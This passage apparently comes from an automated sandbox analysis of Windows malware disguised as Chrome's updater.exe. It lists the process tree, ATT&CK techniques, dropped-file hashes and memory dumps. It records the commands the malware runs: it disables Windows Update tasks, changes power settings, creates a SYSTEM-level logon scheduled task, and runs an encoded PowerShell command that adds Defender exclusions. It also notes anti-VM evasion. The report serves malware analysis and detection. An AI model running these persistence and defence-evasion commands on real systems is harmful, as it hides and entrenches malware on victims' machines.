SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:1984

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:1992

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1888

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:1744

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:1908

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:840

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:952

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:1548

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
4⤵
PID:1548

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
5⤵
- Creates scheduled task(s)
PID:1936

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1500

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
5⤵
PID:1944

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\Temp\run.bat" "
2⤵
- Drops startup file
PID:1704

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Windows\Temp\lol.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1952

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://take-realprize.life/?u=lq1pd08&o=hdck0gl
3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:696

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:696 CREDAT:275457 /prefetch:2
4⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:568

C:\Windows\system32\taskeng.exe
taskeng.exe {4FC76990-8795-48C6-A18B-ACF84E72BDE5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:992

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1268

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Modifies data under HKEY_USERS
PID:692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG8AZAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYgBuAGQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdgAjAD4A"
4⤵
PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.3MB

MD5
84029d73b99cc7e8b7e80d61143a532f

SHA1
518c2673fb0de02b6eab1fb7f2a28e46761370ba

SHA256
e3c6f2d415a9f9d4f845ba2cd8ef07986a6b4db1d50b145b548b907c26fef772

SHA512
50ed354e3a76affa07e94984b40c13ab5c3ecb7285047550613c6b80235c04feb2ad303e32ec04c81864e2c652270c788311e4223bfe0e94a7addba8cd127e62

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
60KB

MD5
589c442fc7a0c70dca927115a700d41e

SHA1
66a07dace3afbfd1aa07a47e6875beab62c4bb31

SHA256
2e5cb72e9eb43baafb6c6bfcc573aac92f49a8064c483f9d378a9e8e781a526a

SHA512
1b5fa79e52be495c42cf49618441fb7012e28c02e7a08a91da9213db3ab810f0e83485bc1dd5f625a47d0ba7cfcdd5ea50acc9a8dcebb39f048c40f01e94155b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
340B

MD5
d1150bffa7266be009566e3663a0555b

SHA1
d9c0b6cb7bb0eb2b419fd2e22ffc626408adca95

SHA256
c48c59e9bae33d260bd1c42d70c087e15d13fb44d7f4d16f1e3c1b5b59496945

SHA512
cc5c92a16a883aac37e2ae40ea2ac7e4b4f6eb3f7352ebbf2268f483836a1973396fa420f4b3ec20db891788ba03db5c1c006773ebc6cf050016987ffa3de002

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\RIW25X7N.txt
Filesize
604B

MD5
073007a8e69f94988ef2bddf057ebfd8

SHA1
723ef7c92759de9188968847415a7dac77666549

SHA256
fbe2670c74e8dd03ad58ad6d23913dd98f70be76a0cb230230798e6ad335fa35

SHA512
bbf3e957d6a048269a971fc710f78739f5d24bc6675c93b8e586991f02bba8d095b03eeeada5bdd36fb70f40aaf641d3366d1d21fbae62097d65ba0ad696326b

Download Submit
C:\Windows\Temp\lol.bat
Filesize
59B

MD5
f580e0e80cc87b25e38ea2c0c8059d04

SHA1
299f51dca9c609d6da86f93c424e39c1e6ba0d94

SHA256
9e7b9ed63bd5dfe290fda58104cd98e8d23ba671d3ccb77e82e8b0f7812fb734

SHA512
5a0a1e4d3800ee76fc4d1d102ffe7e0d4e646c08f57f20c019741c3779ca85dc8a1240c77c90b0caef498859de960e71be3a81497b5ffac8b381aa2c7813e83d

Download Submit
C:\Windows\Temp\run.bat
Filesize
98B

MD5
731afe244b2414169a5f630d52646e56

SHA1
e3771ccdccd8c306ee5fc4f264cfc3310690458c

SHA256
6c24e5b6a9aaced68f9f93581913bdea4cc1077060827d5d59d6680859e4e552

SHA512
84e0dc44ae3eadf6d31484119294126f5a056add94733fea2ba5597b6a302fc107117f5c5029d4ce0ff8e5c859c4de9c456aa5f01d420f25a3d56dc569801ff1

Download Submit
C:\Windows\Temp\setup.exe
Filesize
7.3MB

MD5
84029d73b99cc7e8b7e80d61143a532f

SHA1
518c2673fb0de02b6eab1fb7f2a28e46761370ba

SHA256
e3c6f2d415a9f9d4f845ba2cd8ef07986a6b4db1d50b145b548b907c26fef772

SHA512
50ed354e3a76affa07e94984b40c13ab5c3ecb7285047550613c6b80235c04feb2ad303e32ec04c81864e2c652270c788311e4223bfe0e94a7addba8cd127e62

Download Submit
C:\Windows\Temp\setup.exe
Filesize
7.3MB

MD5
84029d73b99cc7e8b7e80d61143a532f

SHA1
518c2673fb0de02b6eab1fb7f2a28e46761370ba

SHA256
e3c6f2d415a9f9d4f845ba2cd8ef07986a6b4db1d50b145b548b907c26fef772

SHA512
50ed354e3a76affa07e94984b40c13ab5c3ecb7285047550613c6b80235c04feb2ad303e32ec04c81864e2c652270c788311e4223bfe0e94a7addba8cd127e62

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
7.3MB

MD5
84029d73b99cc7e8b7e80d61143a532f

SHA1
518c2673fb0de02b6eab1fb7f2a28e46761370ba

SHA256
e3c6f2d415a9f9d4f845ba2cd8ef07986a6b4db1d50b145b548b907c26fef772

SHA512
50ed354e3a76affa07e94984b40c13ab5c3ecb7285047550613c6b80235c04feb2ad303e32ec04c81864e2c652270c788311e4223bfe0e94a7addba8cd127e62

Download Submit
\Windows\Temp\setup.exe
Filesize
7.3MB

MD5
84029d73b99cc7e8b7e80d61143a532f

SHA1
518c2673fb0de02b6eab1fb7f2a28e46761370ba

SHA256
e3c6f2d415a9f9d4f845ba2cd8ef07986a6b4db1d50b145b548b907c26fef772

SHA512
50ed354e3a76affa07e94984b40c13ab5c3ecb7285047550613c6b80235c04feb2ad303e32ec04c81864e2c652270c788311e4223bfe0e94a7addba8cd127e62

Download Submit
memory/544-86-0x0000000000000000-mapping.dmp

Download
memory/688-95-0x0000000000000000-mapping.dmp

Download
memory/840-119-0x0000000000000000-mapping.dmp

Download
memory/952-120-0x0000000000000000-mapping.dmp

Download
memory/956-80-0x0000000000000000-mapping.dmp

Download
memory/976-111-0x0000000000000000-mapping.dmp

Download
memory/992-78-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/992-74-0x000007FEED780000-0x000007FEEE2DD000-memory.dmp

Filesize
11.4MB

Download
memory/992-75-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/992-76-0x000000001B760000-0x000000001BA5F000-memory.dmp

Filesize
3.0MB

Download
memory/992-77-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/992-71-0x0000000000000000-mapping.dmp

Download
memory/992-122-0x00000000010C0000-0x0000000001D84000-memory.dmp

Filesize
12.8MB

Download
memory/992-110-0x00000000010C0000-0x0000000001D84000-memory.dmp

Filesize
12.8MB

Download
memory/1112-84-0x0000000000000000-mapping.dmp

Download
memory/1140-93-0x0000000000000000-mapping.dmp

Download
memory/1148-96-0x0000000000000000-mapping.dmp

Download
memory/1212-68-0x00000000001E0000-0x00000000005FE000-memory.dmp

Filesize
4.1MB

Download
memory/1212-69-0x000000001BB10000-0x000000001BF2E000-memory.dmp

Filesize
4.1MB

Download
memory/1212-70-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmp

Filesize
8KB

Download
memory/1268-107-0x00000000772B0000-0x0000000077459000-memory.dmp

Filesize
1.7MB

Download
memory/1268-106-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/1268-105-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/1268-103-0x0000000000000000-mapping.dmp

Download
memory/1276-113-0x0000000000000000-mapping.dmp

Download
memory/1456-112-0x0000000000000000-mapping.dmp

Download
memory/1460-59-0x0000000003500000-0x00000000041C4000-memory.dmp

Filesize
12.8MB

Download
memory/1460-54-0x00000000763E1000-0x00000000763E3000-memory.dmp

Filesize
8KB

Download
memory/1500-99-0x0000000000000000-mapping.dmp

Download
memory/1548-97-0x0000000000000000-mapping.dmp

Download
memory/1548-121-0x0000000000000000-mapping.dmp

Download
memory/1588-90-0x0000000000000000-mapping.dmp

Download
memory/1588-109-0x0000000000000000-mapping.dmp

Download
memory/1600-89-0x0000000000000000-mapping.dmp

Download
memory/1608-88-0x0000000000000000-mapping.dmp

Download
memory/1704-58-0x0000000000000000-mapping.dmp

Download
memory/1744-117-0x0000000000000000-mapping.dmp

Download
memory/1756-91-0x0000000000000000-mapping.dmp

Download
memory/1768-87-0x0000000000000000-mapping.dmp

Download
memory/1784-61-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/1784-64-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/1784-67-0x0000000000400000-0x00000000010C4000-memory.dmp

Filesize
12.8MB

Download
memory/1784-66-0x00000000772B0000-0x0000000077459000-memory.dmp

Filesize
1.7MB

Download
memory/1784-56-0x0000000000000000-mapping.dmp

Download
memory/1876-94-0x0000000000000000-mapping.dmp

Download
memory/1888-114-0x0000000000000000-mapping.dmp

Download
memory/1908-118-0x0000000000000000-mapping.dmp

Download
memory/1936-100-0x0000000000000000-mapping.dmp

Download
memory/1944-101-0x0000000000000000-mapping.dmp

Download
memory/1948-85-0x0000000000000000-mapping.dmp

Download
memory/1952-92-0x0000000000000000-mapping.dmp

Download
memory/1952-60-0x0000000000000000-mapping.dmp

Download
memory/1956-83-0x0000000000000000-mapping.dmp

Download
memory/1972-82-0x0000000000000000-mapping.dmp

Download
memory/1984-116-0x0000000000000000-mapping.dmp

Download
memory/1992-115-0x0000000000000000-mapping.dmp

Download
memory/1996-81-0x0000000000000000-mapping.dmp

Download
memory/2016-79-0x0000000000000000-mapping.dmp

Download